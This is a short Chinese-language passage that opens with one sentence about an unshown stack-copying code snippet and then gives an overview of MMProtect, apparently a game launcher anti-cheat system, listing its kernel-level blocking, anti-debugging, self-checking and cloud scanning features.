下面的代码片段实现了分配新的缓冲区,并拷贝从 ESP 指针指向位置到 调用函数的 EBP 在栈中存储位置加上调用函数的返回地址的存储位置这个范围的栈片段,到新分配的缓冲区中最高位置区域,为低内存预留了 0x100000 字节的空间。
# MMProtect 登录器保护介绍与分析(一)
1. 驱动级外挂拦截
有一定安全经验的人都知道,Ring3 层的防护只是一层窗户纸,一捅即破。MMProtect 采用应用层和内核层双重保护,互相协调工作,检测游戏进程中加载的模块是否包含非法特征码。
2. 游戏进程防护
一些常用的内存读写及调试工具会对被保护的进程进行诸如打开、读、写操作。MMProtect 保护下的进程,有效禁止这些敏感操作,使得传统调试工具无法对游戏进程进行调试和分析。
3. 游戏防调试分析
除了对常规内存操作的防护外,MMProtect 中加入了对应用层调试模型的修改,使得即便外挂作者通过某些手段过掉了常规内存读写限制,依然不能对游戏进程进行调试。更有效保证了游戏进程的安全。
4. 代码自校验
安全系统本身对系统的修改,不允许以任何方式恢复,MMProtect 内部实现了强大的自校验功能,当 MMProtect 系统的任何一处遭受攻击,都会导致系统及时终止游戏进程或操作系统,有效保证了安全系统自身的安全性。只有在安全系统自身足够安全的情况下,才能为游戏进程提供有效的保护。
5. 外挂云查杀
对抗外挂的传统方式是,通过游戏更新的手段使得已发现的外挂失效。加入 MMProtect 系统的游戏,实时连接到云端,对游戏模块进行校验,如发现游戏进程加载了非法模块,第一时间就会报错结束游戏进程。而这一过程,不需要对游戏本身做任何修改和更新。
6. 高效率
MMProtect 虽然使用与杀软同样的过滤拦截技术,但其目的明确,校验算法十分高效,可以达到使用 MMProtect 和未使用时效率几乎相同,不会对系统造成卡顿等影响。云查杀在云端校验,不使用本地资源,只需少量的通信即可完成。